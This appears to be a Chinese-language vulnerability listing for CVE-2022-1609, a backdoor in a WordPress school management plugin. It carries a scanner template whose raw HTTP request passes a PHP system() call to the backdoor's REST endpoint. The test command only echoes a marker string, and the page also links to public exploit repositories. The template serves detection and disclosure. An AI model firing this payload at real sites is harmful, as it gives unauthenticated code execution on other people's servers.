CVE-2022-1609: The School Management < 9.9.7 - Remote Code Execution

日期: 2025-08-01 | 影响软件: The School Management | POC: 已公开

漏洞描述

The School Management plugin before version 9.9.7 contains an obfuscated backdoor injected in it's license checking code that registers a REST API handler, allowing an unauthenticated attacker to execute arbitrary PHP code on the site.

PoC代码[已公开]

id: CVE-2022-1609

info:
  name: The School Management < 9.9.7 - Remote Code Execution
  author: For3stCo1d
  severity: critical
  description: The School Management plugin before version 9.9.7 contains an obfuscated backdoor injected in it's license checking code that registers a REST API handler, allowing an unauthenticated attacker to execute arbitrary PHP code on the site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade The School Management to version 9.9.7 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1609
    - https://github.com/nastar-id/WP-school-management-RCE
    - https://github.com/nomi-sec/PoC-in-GitHub
    - https://github.com/0x007f/cve-2022-1609-exploit
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-1609
    cwe-id: CWE-94
    epss-score: 0.9294
    epss-percentile: 0.99763
    cpe: cpe:2.3:a:weblizar:school_management:*:*:*:*:pro:wordpress:*:*
  metadata:
    verified: false
    max-request: 1
    vendor: weblizar
    product: school_management
    framework: wordpress
  tags: cve,cve2022,rce,wp,backdoor,wpscan,wordpress,weblizar
variables:
  cmd: "echo CVE-2022-1609 | rev"

http:
  - raw:
      - |
        POST /wp-json/am-member/license HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        blowfish=1&blowf=system('{{cmd}}');

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '9061-2202-EVC'
# digest: 4b0a00483046022100b71fa031f24e67e99d584c5e24be4592ece8953e512a597cbc3ef5180a283b78022100c8f79ac40d102c1cf0956e77266d02d2e871e46ba73ec13bfd809c20a064781e:922c64590222798bb761d5b6d8e72950